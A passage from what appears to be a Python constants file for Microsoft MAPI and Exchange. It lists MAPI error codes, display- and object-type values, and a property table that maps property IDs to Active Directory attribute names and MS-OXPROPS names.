0x80040108\nMAPI_E_OBJECT_CHANGED                     = 0x80040109\nMAPI_E_OBJECT_DELETED                     = 0x8004010A\nMAPI_E_BUSY                               = 0x8004010B\nMAPI_E_NOT_ENOUGH_DISK                    = 0x8004010D\nMAPI_E_NOT_ENOUGH_RESOURCES               = 0x8004010E\nMAPI_E_NOT_FOUND                          = 0x8004010F\nMAPI_E_VERSION                            = 0x80040110\nMAPI_E_LOGON_FAILED                       = 0x80040111\nMAPI_E_SESSION_LIMIT                      = 0x80040112\nMAPI_E_USER_CANCEL                        = 0x80040113\nMAPI_E_UNABLE_TO_ABORT                    = 0x80040114\nMAPI_E_NETWORK_ERROR                      = 0x80040115\nMAPI_E_DISK_ERROR                         = 0x80040116\nMAPI_E_TOO_COMPLEX                        = 0x80040117\nMAPI_E_BAD_COLUMN                         = 0x80040118\nMAPI_E_EXTENDED_ERROR                     = 0x80040119\nMAPI_E_COMPUTED                           = 0x8004011A\nMAPI_E_CORRUPT_DATA                       = 0x8004011B\nMAPI_E_UNCONFIGURED                       = 0x8004011C\nMAPI_E_FAILONEPROVIDER                    = 0x8004011D\nMAPI_E_UNKNOWN_CPID                       = 0x8004011E\nMAPI_E_UNKNOWN_LCID                       = 0x8004011F\nMAPI_E_PASSWORD_CHANGE_REQUIRED           = 0x80040120\nMAPI_E_PASSWORD_EXPIRED                   = 0x80040121\nMAPI_E_INVALID_WORKSTATION_ACCOUNT        = 0x80040122\nMAPI_E_INVALID_ACCESS_TIME                = 0x80040123\nMAPI_E_ACCOUNT_DISABLED                   = 0x80040124\nMAPI_E_END_OF_SESSION                     = 0x80040200\nMAPI_E_UNKNOWN_ENTRYID                    = 0x80040201\nMAPI_E_MISSING_REQUIRED_COLUMN            = 0x80040202\nMAPI_W_NO_SERVICE                         = 0x00040203\nMAPI_E_BAD_VALUE                          = 0x80040301\nMAPI_E_INVALID_TYPE                       = 0x80040302\nMAPI_E_TYPE_NO_SUPPORT                    = 0x80040303\nMAPI_E_UNEXPECTED_TYPE                    = 0x80040304\nMAPI_E_TOO_BIG                            = 0x80040305\nMAPI_E_DECLINE_COPY                       = 0x80040306\nMAPI_E_UNEXPECTED_ID                      = 0x80040307\nMAPI_W_ERRORS_RETURNED                    = 0x00040380\nMAPI_E_UNABLE_TO_COMPLETE                 = 0x80040400\nMAPI_E_TIMEOUT                            = 0x80040401\nMAPI_E_TABLE_EMPTY                        = 0x80040402\nMAPI_E_TABLE_TOO_BIG                      = 0x80040403\nMAPI_E_INVALID_BOOKMARK                   = 0x80040405\nMAPI_W_POSITION_CHANGED                   = 0x00040481\nMAPI_W_APPROX_COUNT                       = 0x00040482\nMAPI_E_WAIT                               = 0x80040500\nMAPI_E_CANCEL                             = 0x80040501\nMAPI_E_NOT_ME                             = 0x80040502\nMAPI_W_CANCEL_MESSAGE                     = 0x00040580\nMAPI_E_CORRUPT_STORE                      = 0x80040600\nMAPI_E_NOT_IN_QUEUE                       = 0x80040601\nMAPI_E_NO_SUPPRESS                        = 0x80040602\nMAPI_E_COLLISION                          = 0x80040604\nMAPI_E_NOT_INITIALIZED                    = 0x80040605\nMAPI_E_NON_STANDARD                       = 0x80040606\nMAPI_E_NO_RECIPIENTS                      = 0x80040607\nMAPI_E_SUBMITTED                          = 0x80040608\nMAPI_E_HAS_FOLDERS                        = 0x80040609\nMAPI_E_HAS_MESAGES                        = 0x8004060A\nMAPI_E_FOLDER_CYCLE                       = 0x8004060B\nMAPI_E_LOCKID_LIMIT                       = 0x8004060D\nMAPI_W_PARTIAL_COMPLETION                 = 0x00040680\nMAPI_E_AMBIGUOUS_RECIP                    = 0x80040700\nSYNC_E_OBJECT_DELETED                     = 0x80040800\nSYNC_E_IGNORE                             = 0x80040801\nSYNC_E_CONFLICT                           = 0x80040802\nSYNC_E_NO_PARENT                          = 0x80040803\nSYNC_E_CYCLE_DETECTED                     = 0x80040804\nSYNC_E_UNSYNCHRONIZED                     = 0x80040805\nSYNC_W_PROGRESS                           = 0x00040820\nSYNC_W_CLIENT_CHANGE_NEWER                = 0x00040821\nMAPI_E_NAMED_PROP_QUOTA_EXCEEDED          = 0x80040900\nMAPI_E_NOT_IMPLEMENTED                    = 0x80040FFF\nMAPI_E_NO_ACCESS                          = 0x80070005\nMAPI_E_NOT_ENOUGH_MEMORY                  = 0x8007000E\nMAPI_E_INVALID_PARAMETER                  = 0x80070057\n\nLDAP_NO_SUCH_OBJECT                       = 0x80040920\nLDAP_SERVER_DOWN                          = 0x80040951\nLDAP_LOCAL_ERROR                          = 0x80040952\n\n\n# PR_DISPLAY_TYPE\n# For address book contents tables\nDT_MAILUSER         = 0x00000000\nDT_DISTLIST         = 0x00000001\nDT_FORUM            = 0x00000002\nDT_AGENT            = 0x00000003\nDT_ORGANIZATION     = 0x00000004\nDT_PRIVATE_DISTLIST = 0x00000005\nDT_REMOTE_MAILUSER  = 0x00000006\n# For address book hierarchy tables\nDT_MODIFIABLE       = 0x00010000\nDT_GLOBAL           = 0x00020000\nDT_LOCAL            = 0x00030000\nDT_WAN              = 0x00040000\nDT_NOT_SPECIFIC     = 0x00050000\n# For folder hierarchy tables *\nDT_FOLDER           = 0x01000000\nDT_FOLDER_LINK      = 0x02000000\nDT_FOLDER_SPECIAL   = 0x04000000\n\nPR_DISPLAY_TYPE_VALUES = {\n        0x00000000: \"DT_MAILUSER\",\n        0x00000001: \"DT_DISTLIST\",\n        0x00000002: \"DT_FORUM\",\n        0x00000003: \"DT_AGENT\",\n        0x00000004: \"DT_ORGANIZATION\",\n        0x00000005: \"DT_PRIVATE_DISTLIST\",\n        0x00000006: \"DT_REMOTE_MAILUSER\",\n        0x00010000: \"DT_MODIFIABLE\",\n        0x00020000: \"DT_GLOBAL\",\n        0x00030000: \"DT_LOCAL\",\n        0x00040000: \"DT_WAN\",\n        0x00050000: \"DT_NOT_SPECIFIC\",\n        0x01000000: \"DT_FOLDER\",\n        0x02000000: \"DT_FOLDER_LINK\",\n        0x04000000: \"DT_FOLDER_SPECIAL\"\n}\n\n# PR_OBJECT_TYPE\nMAPI_STORE    = 0x1\nMAPI_ADDRBOOK = 0x2\nMAPI_FOLDER   = 0x3\nMAPI_ABCONT   = 0x4\nMAPI_MESSAGE  = 0x5\nMAPI_MAILUSER = 0x6\nMAPI_ATTACH   = 0x7\nMAPI_DISTLIST = 0x8\nMAPI_PROFSECT = 0x9\nMAPI_STATUS   = 0xA\nMAPI_SESSION  = 0xB\nMAPI_FORMINFO = 0xC\n\nPR_OBJECT_TYPE_VALUES = {\n        0x1: \"MAPI_STORE\",\n        0x2: \"MAPI_ADDRBOOK\",\n        0x3: \"MAPI_FOLDER\",\n        0x4: \"MAPI_ABCONT\",\n        0x5: \"MAPI_MESSAGE\",\n        0x6: \"MAPI_MAILUSER\",\n        0x7: \"MAPI_ATTACH\",\n        0x8: \"MAPI_DISTLIST\",\n        0x9: \"MAPI_PROFSECT\",\n        0xA: \"MAPI_STATUS\",\n        0xB: \"MAPI_SESSION\",\n        0xC: \"MAPI_FORMINFO\"\n}\n\n# PR_CONTAINER_FLAGS\nAB_RECIPIENTS    = 0x00000001\nAB_SUBCONTAINERS = 0x00000002\nAB_MODIFIABLE    = 0x00000004\nAB_UNMODIFIABLE  = 0x00000008\nAB_FIND_ON_OPEN  = 0x00000010\nAB_NOT_DEFAULT   = 0x00000020\nAB_CONF_ROOMS    = 0x00000200\n\nPR_CONTAINER_FLAGS_VALUES = {\n        0x00000001: \"AB_RECIPIENTS\",\n        0x00000002: \"AB_SUBCONTAINERS\",\n        0x00000004: \"AB_MODIFIABLE\",\n        0x00000008: \"AB_UNMODIFIABLE\",\n        0x00000010: \"AB_FIND_ON_OPEN\",\n        0x00000020: \"AB_NOT_DEFAULT\",\n        0x00000200: \"AB_CONF_ROOMS\"\n}\n\nMAPI_PROPERTIES  = {\n        # Field_1: (Field_2, Field_3, Field_4, Field_5, Field_6, Field_7, Field_8),\n        # \n        # Field_1 is PropertyId\n        # Field_2 is PropertyType (unicode when possible)\n        # Field_3 is Active Directory LDAP-Display-Name\n        # Field_4 is Active Directory CN\n        # Field_5:\n        #     1 when Is-Member-Of-Partial-Attribute-Set is TRUE\n        #     2 when Is-Member-Of-Partial-Attribute-Set is FALSE\n        #     3 when Is-Member-Of-Partial-Attribute-Set does not exist\n        #     4 when it's not an Active Directory property\n        #\n        # Field_6 is MS-OXPROPS Canonical Name\n        # Field_7 is MS-OXPROPS First Alternate Name (usually the shortest one which starts from PR_)\n        # Field_8 is internal Exchange name\n        0x0806: (0x101f, \"msExchResourceSearchProperties\", \"ms-Exch-Resource-Search-Properties\", 1, None, None, None),\n        0x0807: (0x0003, \"msExchResourceCapacity\", \"ms-Exch-Resource-Capacity\", 1, \"PidTagAddressBookRoomCapacity\", \"PR_EMS_AB_ROOM_CAPACITY\", None),\n        0x0808: (0x101f, \"msExchResourceMetaData\", \"ms-Exch-Resource-Meta-Data\", 1, None, None, None),\n        0x0809: (0x001f, \"msExchResourceDisplay\", \"ms-Exch-Resource-Display\", 1, \"PidTagAddressBookRoomDescription\", \"PR_EMS_AB_ROOM_DESCRIPTION\", None),\n        0x3004: (0x001f, \"info\", \"Comment\", 1, \"PidTagComment\", \"PR_COMMENT\", \"Comment\"),\n        0x3007: (0x0040, \"whenCreated\", \"When-Created\", 1, \"PidTagCreationTime\", \"PR_CREATION_TIME\", \"CreationTime\"),\n        0x3008: (0x0040, \"whenChanged\", \"When-Changed\", 1, \"PidTagLastModificationTime\", \"PR_LAST_MODIFICATION_TIME\", \"LastModificationTime\"),\n        0x3905: (0x0003, \"msExchRecipientDisplayType\", \"ms-Exch-Recipient-Display-Type\", 1, \"PidTagDisplayTypeEx\", \"PR_DISPLAY_TYPE_EX\", \"DisplayTypeEx\"),\n        0x39fe: (0x001f, \"mail\", \"E-mail-Addresses\", 1, \"PidTagSmtpAddress\", \"PR_SMTP_ADDRESS\", \"SmtpAddress\"),\n        0x39ff: (0x001f, \"displayNamePrintable\", \"Display-Name-Printable\", 1, \"PidTagAddressBookDisplayNamePrintable\", \"PR_EMS_AB_DISPLAY_NAME_PRINTABLE\", \"SimpleDisplayName\"),\n        0x3a00: (0x001f, \"mailNickname\", \"ms-Exch-Mail-Nickname\", 1, \"PidTagAccount\", \"PR_ACCOUNT\", \"Account\"),\n        0x3a06: (0x001f, \"givenName\", \"Given-Name\", 1, \"PidTagGivenName\", \"PR_GIVEN_NAME\", \"GivenName\"),\n        0x3a08: (0x001f, \"telephoneNumber\", \"Telephone-Number\", 1, \"PidTagBusinessTelephoneNumber\", \"PR_BUSINESS_TELEPHONE_NUMBER\", \"BusinessTelephoneNumber\"),\n        0x3a09: (0x001f, \"homePhone\", \"Phone-Home-Primary\", 1, \"PidTagHomeTelephoneNumber\", \"PR_HOME_TELEPHONE_NUMBER\", \"HomeTelephoneNumber\"),\n        0x3a0a: (0x001f, \"initials\", \"Initials\", 1, \"PidTagInitials\", \"PR_INITIALS\", \"Initials\"),\n        0x3a0f: (0x001f, \"cn\", \"Common-Name\", 1, \"PidTagMessageHandlingSystemCommonName\", \"PR_MHS_COMMON_NAME\", \"MhsCommonName\"),\n        0x3a11: (0x001f, \"sn\", \"Surname\", 1, \"PidTagSurname\", \"PR_SURNAME\", \"Surname\"),\n        0x3a16: (0x001f, \"company\", \"Company\", 1, \"PidTagCompanyName\", \"PR_COMPANY_NAME\", \"CompanyName\"),\n        0x3a17: (0x001f, \"title\", \"Title\", 1, \"PidTagTitle\", \"PR_TITLE\", \"Title\"),\n        0x3a18: (0x001f, \"department\", \"Department\", 1, \"PidTagDepartmentName\", \"PR_DEPARTMENT_NAME\", \"DepartmentName\"),\n        0x3a19: (0x001f, \"physicalDeliveryOfficeName\", \"Physical-Delivery-Office-Name\", 1, \"PidTagOfficeLocation\", \"PR_OFFICE_LOCATION\", \"OfficeLocation\"),\n        0x3a1b: (0x101f, \"otherTelephone\", \"Phone-Office-Other\", 1, \"PidTagBusiness2TelephoneNumbers\", \"PR_BUSINESS2_TELEPHONE_NUMBER_A_MV\", \"Business2TelephoneNumber\"),\n        0x3a1c: (0x001f, \"mobile\", \"Phone-Mobile-Primary\", 1, \"PidTagMobileTelephoneNumber\", \"PR_MOBILE_TELEPHONE_NUMBER\", \"MobileTelephoneNumber\"),\n        0x3a21: (0x001f, \"pager\", \"Phone-Pager-Primary\", 1, \"PidTagPagerTelephoneNumber\", \"PR_PAGER_TELEPHONE_NUMBER\", \"PagerTelephoneNumber\"),\n        0x3a22: (0x0102, \"userCert\", \"User-Cert\", 1, \"PidTagUserCertificate\", \"PR_USER_CERTIFICATE\", \"UserCertificate\"),\n        0x3a23: (0x001f, \"facsimileTelephoneNumber\", \"Facsimile-Telephone-Number\", 1, \"PidTagPrimaryFaxNumber\", \"PR_PRIMARY_FAX_NUMBER\", \"PrimaryFaxNumber\"),\n        0x3a26: (0x001f, \"co\", \"Text-Country\", 1, \"PidTagCountry\", \"PR_COUNTRY\", \"Country\"),\n        0x3a27: (0x001f, \"l\", \"Locality-Name\", 1, \"PidTagLocality\", \"PR_LOCALITY\", \"Locality\"),\n        0x3a28: (0x001f, \"st\", \"State-Or-Province-Name\", 1, \"PidTagStateOrProvince\", \"PR_STATE_OR_PROVINCE\", \"StateOrProvince\"),\n        0x3a29: (0x001f, \"streetAddress\", \"Address\", 1, \"PidTagStreetAddress\", \"PR_STREET_ADDRESS\", \"StreetAddress\"),\n        0x3a2a: (0x001f, \"postalCode\", \"Postal-Code\", 1, \"PidTagPostalCode\", \"PR_POSTAL_CODE\", \"PostalCode\"),\n        0x3a2b: (0x101f, \"postOfficeBox\", \"Post-Office-Box\", 1, \"PidTagPostOfficeBox\", \"PR_POST_OFFICE_BOX\", \"PostOfficeBox\"),\n        0x3a2c: (0x1102, \"telexNumber\", \"Telex-Number\", 3, \"PidTagTelexNumber\", \"PR_TELEX_NUMBER\", \"TelexNumber\"),\n        0x3a2e: (0x001f, \"telephoneAssistant\", \"ms-Exch-Telephone-Assistant\", 1, \"PidTagAssistantTelephoneNumber\", \"PR_ASSISTANT_TELEPHONE_NUMBER\", \"AssistantTelephoneNumber\"),\n        0x3a2f: (0x101f, \"otherHomePhone\", \"Phone-Home-Other\", 1, \"PidTagHome2TelephoneNumbers\", \"PR_HOME2_TELEPHONE_NUMBER_A_MV\", \"Home2TelephoneNumber\"),\n        0x3a30: (0x001f, \"msExchAssistantName\", \"ms-Exch-Assistant-Name\", 1, \"PidTagAssistant\", \"PR_ASSISTANT\", \"Assistant\"),\n        0x3a40: (0x000b, \"mAPIRecipient\", \"ms-Exch-MAPI-Recipient\", 1, \"PidTagSendRichInfo\", \"PR_SEND_RICH_INFO\", \"SendRichInfo\"),\n        0x3a5d: (0x001f, \"homePostalAddress\", \"Address-Home\", 1, \"PidTagHomeAddressStreet\", \"PR_HOME_ADDRESS_STREET\", \"HomeAddressStreet\"),\n        0x3a70: (0x1102, \"userSMIMECertificate\", \"User-SMIME-Certificate\", 1, \"PidTagUserX509Certificate\", \"PR_USER_X509_CERTIFICATE\", \"UserSMimeCertificate\"),\n        0x3a71: (0x0003, \"internetEncoding\", \"ms-Exch-Internet-Encoding\", 1, \"PidTagSendInternetEncoding\", \"PR_SEND_INTERNET_ENCODING\", \"SendInternetEncoding\"),\n        0x8003: (0x1102, \"cACertificate\", \"CA-Certificate\", 1, None, None, None),\n        0x8004: (0x001f, \"folderPathname\", \"ms-Exch-Folder-Pathname\", 1, \"PidTagAddressBookFolderPathname\", \"PR_EMS_AB_FOLDER_PATHNAME\", None),\n        0x8005: (0x000d, \"manager\", \"Manager\", 1, \"PidTagAddressBookManagerDistinguishedName\", \"PR_EMS_AB_MANAGER_T\", None),\n        0x8006: (0x000d, \"homeMDB\", \"ms-Exch-Home-MDB\", 1, \"PidTagAddressBookHomeMessageDatabase\", \"PR_EMS_AB_HOME_MDB\", \"HomeMdb\"),\n        0x8007: (0x001f, \"homeMTA\", \"ms-Exch-Home-MTA\", 1, \"PidLidContactItemData\", \"dispidContactItemData\", None),\n        0x8008: (0x000d, \"memberOf\", \"Is-Member-Of-DL\", 3, \"PidTagAddressBookIsMemberOfDistributionList\", \"PR_EMS_AB_IS_MEMBER_OF_DL\", \"MemberOf\"),\n        0x8009: (0x000d, \"member\", \"Member\", 1, \"PidTagAddressBookMember\", \"PR_EMS_AB_MEMBER\", \"Members\"),\n        0x800a: (0x001f, \"autoReplyMessage\", \"ms-Exch-AutoReply-Message\", 2, None, None, None),\n        0x800b: (0x000b, \"autoReply\", \"ms-Exch-AutoReply\", 1, None, None, None),\n        0x800c: (0x000d, \"managedBy\", \"Managed-By\", 1, \"PidTagAddressBookOwner\", \"PR_EMS_AB_OWNER_O\", \"ManagedBy\"),\n        0x800d: (0x001f, \"kMServer\", \"ms-Exch-KM-Server\", 2, None, None, None),\n        0x800e: (0x000d, \"directReports\", \"Reports\", 3, \"PidTagAddressBookReports\", \"PR_EMS_AB_REPORTS\", None),\n        0x800f: (0x101f, \"proxyAddresses\", \"Proxy-Addresses\", 1, \"PidTagAddressBookProxyAddresses\", \"PR_EMS_AB_PROXY_ADDRESSES\", \"ProxyAddresses\"),\n        0x8010: (0x0102, \"helpData32\", \"Help-Data32\", 3, \"PidLidDepartment\", \"dispidDepartment\", \"TemplateInfoHelpFileContents\"),\n        0x8011: (0x001f, \"targetAddress\", \"ms-Exch-Target-Address\", 1, \"PidTagAddressBookTargetAddress\", \"PR_EMS_AB_TARGET_ADDRESS\", None),\n        0x8014: (0x000d, \"homeMDBBL\", \"ms-Exch-Home-MDB-BL\", 1, None, None, None),\n        0x8015: (0x000d, \"publicDelegates\", \"ms-Exch-Public-Delegates\", 1, \"PidTagAddressBookPublicDelegates\", \"PR_EMS_AB_PUBLIC_DELEGATES\", \"GrantSendOnBehalfTo\"),\n        0x8016: (0x0102, \"certificateRevocationList\", \"Certificate-Revocation-List\", 3, None, None, None),\n        0x8017: (0x0102, \"addressEntryDisplayTable\", \"Address-Entry-Display-Table\", 3, None, None, \"TemplateInfoTemplate\"),\n        0x8018: (0x0102, \"addressSyntax\", \"Address-Syntax\", 3, None, None, \"TemplateInfoScript\"),\n        0x8023: (0x0102, \"businessRoles\", \"ms-Exch-Business-Roles\", 2, \"PidLidContactCharacterSet\", \"dispidContactCharSet\", None),\n        0x8024: (0x000d, \"managedObjects\", \"Managed-Objects\", 3, \"PidTagAddressBookOwnerBackLink\", \"PR_EMS_AB_OWNER_BL_O\", None),\n        0x8025: (0x1102, \"crossCertificatePair\", \"Cross-Certificate-Pair\", 3, \"PidLidAutoLog\", \"dispidAutoLog\", None),\n        0x8026: (0x1102, \"authorityRevocationList\", \"Authority-Revocation-List\", 3, \"PidLidFileUnderList\", \"dispidFileUnderList\", None),\n        0x8027: (0x0102, \"objectSid\", \"Object-Sid\", 1, None, None, None),\n        0x8028: (0x0040, \"expirationTime\", \"ms-Exch-Expiration-Time\", 2, \"PidLidAddressBookProviderEmailList\", \"dispidABPEmailList\", None),\n        0x8029: (0x0003, \"uSNChanged\", \"USN-Changed\", 1, \"PidLidAddressBookProviderArrayType\", \"dispidABPArrayType\", None),\n        0x802d: (0x001f, \"extensionAttribute1\", \"ms-Exch-Extension-Attribute-1\", 1, \"PidTagAddressBookExtensionAttribute1\", \"PR_EMS_AB_EXTENSION_ATTRIBUTE_1\", None),\n        0x802e: (0x001f, \"extensionAttribute2\", \"ms-Exch-Extension-Attribute-2\", 1, \"PidTagAddressBookExtensionAttribute2\", \"PR_EMS_AB_EXTENSION_ATTRIBUTE_2\", None),\n        0x802f: (0x001f, \"extensionAttribute3\", \"ms-Exch-Extension-Attribute-3\", 1, \"PidTagAddressBookExtensionAttribute3\", \"PR_EMS_AB_EXTENSION_ATTRIBUTE_3\", None),\n        0x8030: (0x001f, \"extensionAttribute4\", \"ms-Exch-Extension-Attribute-4\", 1, \"PidTagAddressBookExtensionAttribute4\", \"PR_EMS_AB_EXTENSION_ATTRIBUTE_4\", None),\n        0x8031: (0x001f, \"extensionAttribute5\", \"ms-Exch-Extension-Attribute-5\", 1, \"PidTagAddressBookExtensionAttribute5\", \"PR_EMS_AB_EXTENSION_ATTRIBUTE_5\", None),\n        0x8032: (0x001f, \"extensionAttribute6\", \"ms-Exch-Extension-Attribute-6\", 1, \"PidTagAddressBookExtensionAttribute6\", \"PR_EMS_AB_EXTENSION_ATTRIBUTE_6\", None),\n        0x8033: (0x001f, \"extensionAttribute7\", \"ms-Exch-Extension-Attribute-7\", 1, \"PidTagAddressBookExtensionAttribute7\", \"PR_EMS_AB_EXTENSION_ATTRIBUTE_7\", None),\n        0x8034: (0x001f, \"extensionAttribute8\", \"ms-Exch-Extension-Attribute-8\", 1, \"PidTagAddressBookExtensionAttribute8\", \"PR_EMS_AB_EXTENSION_ATTRIBUTE_8\", None),\n        0x8035: (0x001f, \"extensionAttribute9\", \"ms-Exch-Extension-Attribute-9\", 1, \"PidTagAddressBookExtensionAttribute9\", \"PR_EMS_AB_EXTENSION_ATTRIBUTE_9\", None),\n        0x8036: (0x001f, \"extensionAttribute10\", \"ms-Exch-Extension-Attribute-10\", 1, \"PidTagAddressBookExtensionAttribute10\", \"PR_EMS_AB_EXTENSION_ATTRIBUTE_10\", None),\n        0x8037: (0x1102, \"securityProtocol\", \"ms-Exch-Security-Protocol\", 1, None, None, None),\n        0x8038: (0x101f, \"pFContacts\", \"ms-Exch-PF-Contacts\", 1, None, None, \"PfContacts\"),\n        0x803a: (0x0102, \"helpData16\", \"Help-Data16\", 3, None, None, None),\n        0x803b: (0x001f, \"helpFileName\", \"Help-File-Name\", 3, None, None, \"TemplateInfoHelpFileName\"),\n        0x803c: (0x001f, \"distinguishedName\", \"Obj-Dist-Name\", 1, \"PidTagAddressBookObjectDistinguishedName\", \"PR_EMS_AB_OBJ_DIST_NAME\", \"ObjectDistinguishedName\"),\n        0x803d: (0x001f, \"encryptAlgSelectedOther\", \"ms-Exch-Encrypt-Alg-Selected-Other\", 2, None, None, None),\n        0x8040: (0x101f, \"encryptAlgListNA\", \"ms-Exch-Encrypt-Alg-List-NA\", 2, \"PidLidBusinessCardDisplayDefinition\", \"dispidBCDisplayDefinition\", None),\n        0x8041: (0x101f, \"encryptAlgListOther\", \"ms-Exch-Encrypt-Alg-List-Other\", 2, \"PidLidBusinessCardCardPicture\", \"dispidBCCardPicture\", None),\n        0x8042: (0x001f, \"importedFrom\", \"ms-Exch-Imported-From\", 1, None, None, None),\n        0x8043: (0x001f, \"encryptAlgSelectedNA\", \"ms-Exch-Encrypt-Alg-Selected-NA\", 2, None, None, None),\n        0x8045: (0x0102, \"activationSchedule\", \"ms-Exch-Activation-Schedule\", 2, \"PidLidWorkAddressStreet\", \"dispidWorkAddressStreet\", None),\n        0x8046: (0x0003, \"activationStyle\", \"ms-Exch-Activation-Style\", 2, \"PidLidWorkAddressCity\", \"dispidWorkAddressCity\", None),\n        0x8047: (0x0102, \"addressEntryDisplayTableMSDOS\", \"Address-Entry-Display-Table-MSDOS\", 3, \"PidLidWorkAddressState\", \"dispidWorkAddressState\", None),\n        0x8048: (0x001f, \"addressType\", \"Address-Type\", 3, \"PidLidWorkAddressPostalCode\", \"dispidWorkAddressPostalCode\", \"TemplateInfoEmailType\"),\n        0x8049: (0x001f, \"aDMD\", \"ms-Exch-ADMD\", 2, \"PidLidWorkAddressCountry\", \"dispidWorkAddressCountry\", None),\n        0x804a: (0x001f, \"adminDescription\", \"Admin-Description\", 3, \"PidLidWorkAddressPostOfficeBox\", \"dispidWorkAddressPostOfficeBox\", None),\n        0x804b: (0x001f, \"adminDisplayName\", \"Admin-Display-Name\", 1, None, None, None),\n        0x804c: (0x001f, \"adminExtensionDLL\", \"ms-Exch-Admin-Extension-DLL\", 2, \"PidLidDistributionListChecksum\", \"dispidDLChecksum\", None),\n        0x804e: (0x000d, \"altRecipient\", \"ms-Exch-Alt-Recipient\", 1, \"PidLidAnniversaryEventEntryId\", \"dispidAnniversaryEventEID\", None),\n        0x804f: (0x000d, \"altRecipientBL\", \"ms-Exch-Alt-Recipient-BL\", 2, \"PidLidContactUserField1\", \"dispidContactUserField1\", None),\n        0x8051: (0x000d, \"assocRemoteDXA\", \"ms-Exch-Assoc-Remote-DXA\", 2, \"PidLidContactUserField3\", \"dispidContactUserField3\", None),\n        0x8052: (0x0003, \"associationLifetime\", \"ms-Exch-Association-Lifetime\", 2, \"PidLidContactUserField4\", \"dispidContactUserField4\", None),\n        0x8053: (0x000d, \"authOrigBL\", \"ms-Exch-Auth-Orig-BL\", 1, \"PidLidDistributionListName\", \"dispidDLName\", None),\n        0x8054: (0x001f, \"authorizedDomain\", \"ms-Exch-Authorized-Domain\", 2, \"PidLidDistributionListOneOffMembers\", \"dispidDLOneOffMembers\", None),\n        0x8055: (0x0102, \"authorizedPassword\", \"ms-Exch-Authorized-Password\", 2, \"PidLidDistributionListMembers\", \"dispidDLMembers\", None),\n        0x8056: (0x001f, \"authorizedUser\", \"ms-Exch-Authorized-User\", 2, None, None, None),\n        0x8057: (0x101f, \"businessCategory\", \"Business-Category\", 3, None, None, None),\n        0x8060: (0x000b, \"canPreserveDNs\", \"ms-Exch-Can-Preserve-DNs\", 2, None, None, None),\n        0x8061: (0x0003, \"clockAlertOffset\", \"ms-Exch-Clock-Alert-Offset\", 2, None, None, None),\n        0x8062: (0x000b, \"clockAlertRepair\", \"ms-Exch-Clock-Alert-Repair\", 2, \"PidLidInstantMessagingAddress\", \"dispidInstMsg\", None),\n        0x8063: (0x0003, \"clockWarningOffset\", \"ms-Exch-Clock-Warning-Offset\", 2, None, None, None),\n        0x8064: (0x000b, \"clockWarningRepair\", \"ms-Exch-Clock-Warning-Repair\", 2, \"PidLidDistributionListStream\", \"dispidDLStream\", None),\n        0x8065: (0x001f, \"computerName\", \"ms-Exch-Computer-Name\", 2, None, None, None),\n        0x8066: (0x101f, \"connectedDomains\", \"ms-Exch-Connected-Domains\", 2, None, None, None),\n        0x8067: (0x0003, \"containerInfo\", \"ms-Exch-Container-Info\", 2, None, None, None),\n        0x8068: (0x0003, \"cost\", \"Cost\", 3, None, None, None),\n        0x8069: (0x001f, \"c\", \"Country-Name\", 1, None, None, None),\n        0x806a: (0x0003, \"delivContLength\", \"ms-Exch-Deliv-Cont-Length\", 1, \"PidTagAddressBookDeliveryContentLength\", \"PR_EMS_AB_DELIV_CONT_LENGTH\", None),\n        0x806b: (0x1102, \"delivEITs\", \"ms-Exch-Deliv-EITs\", 2, None, None, None),\n        0x806c: (0x1102, \"delivExtContTypes\", \"ms-Exch-Deliv-Ext-Cont-Types\", 1, None, None, None),\n        0x806d: (0x000b, \"deliverAndRedirect\", \"ms-Exch-Deliver-And-Redirect\", 1, None, None, None),\n        0x806e: (0x0003, \"deliveryMechanism\", \"ms-Exch-Delivery-Mechanism\", 1, None, None, None),\n        0x806f: (0x101f, \"description\", \"Description\", 1, None, None, None),\n        0x8070: (0x101f, \"destinationIndicator\", \"Destination-Indicator\", 3, None, None, None),\n        0x8071: (0x001f, \"diagnosticRegKey\", \"ms-Exch-Diagnostic-Reg-Key\", 2, None, None, None),\n        0x8072: (0x000d, \"dLMemRejectPermsBL\", \"ms-Exch-DL-Mem-Reject-Perms-BL\", 1, None, None, None),\n        0x8073: (0x000d, \"dLMemSubmitPermsBL\", \"ms-Exch-DL-Mem-Submit-Perms-BL\", 1, \"PidTagAddressBookDistributionListMemberSubmitAccepted\", \"PR_EMS_AB_DL_MEM_SUBMIT_PERMS_BL_O\", None),\n        0x8074: (0x1102, \"dLMemberRule\", \"ms-Exch-DL-Member-Rule\", 1, None, None, None),\n        0x8075: (0x001f, \"domainDefAltRecip\", \"ms-Exch-Domain-Def-Alt-Recip\", 2, None, None, None),\n        0x8076: (0x001f, \"domainName\", \"ms-Exch-Domain-Name\", 2, None, None, None),\n        0x8077: (0x0102, \"dSASignature\", \"DSA-Signature\", 3, None, None, None),\n        0x8078: (0x000b, \"dXAAdminCopy\", \"ms-Exch-DXA-Admin-Copy\", 2, None, None, None),\n        0x8079: (0x000b, \"dXAAdminForward\", \"ms-Exch-DXA-Admin-Forward\", 2, None, None, None),\n        0x807a: (0x0003, \"dXAAdminUpdate\", \"ms-Exch-DXA-Admin-Update\", 2, None, None, None),\n        0x807b: (0x000b, \"dXAAppendReqCN\", \"ms-Exch-DXA-Append-ReqCN\", 2, None, None, None),\n        0x807c: (0x101f, \"dXAConfContainerList\", \"ms-Exch-DXA-Conf-Container-List\", 2, None, None, None),\n        0x807d: (0x0040, \"dXAConfReqTime\", \"ms-Exch-DXA-Conf-Req-Time\", 2, None, None, None),\n        0x807e: (0x001f, \"dXAConfSeq\", \"ms-Exch-DXA-Conf-Seq\", 2, None, None, None),\n        0x807f: (0x0003, \"dXAConfSeqUSN\", \"ms-Exch-DXA-Conf-Seq-USN\", 2, None, None, None),\n        0x8080: (0x0003, \"dXAExchangeOptions\", \"ms-Exch-DXA-Exchange-Options\", 2, \"PidLidEmail1DisplayName\", \"dispidEmail1DisplayName\", None),\n        0x8081: (0x000b, \"dXAExportNow\", \"ms-Exch-DXA-Export-Now\", 2, None, None, None),\n        0x8082: (0x0003, \"deletedItemFlags\", \"ms-Exch-Deleted-Item-Flags\", 1, \"PidLidEmail1AddressType\", \"dispidEmail1AddrType\", None),\n        0x8083: (0x001f, \"dXAImpSeq\", \"ms-Exch-DXA-Imp-Seq\", 2, \"PidLidEmail1EmailAddress\", \"dispidEmail1EmailAddress\", None),\n        0x8084: (0x0040, \"dXAImpSeqTime\", \"ms-Exch-DXA-Imp-Seq-Time\", 2, \"PidLidEmail1OriginalDisplayName\", \"dispidEmail1OriginalDisplayName\", None),\n        0x8085: (0x0003, \"dXAImpSeqUSN\", 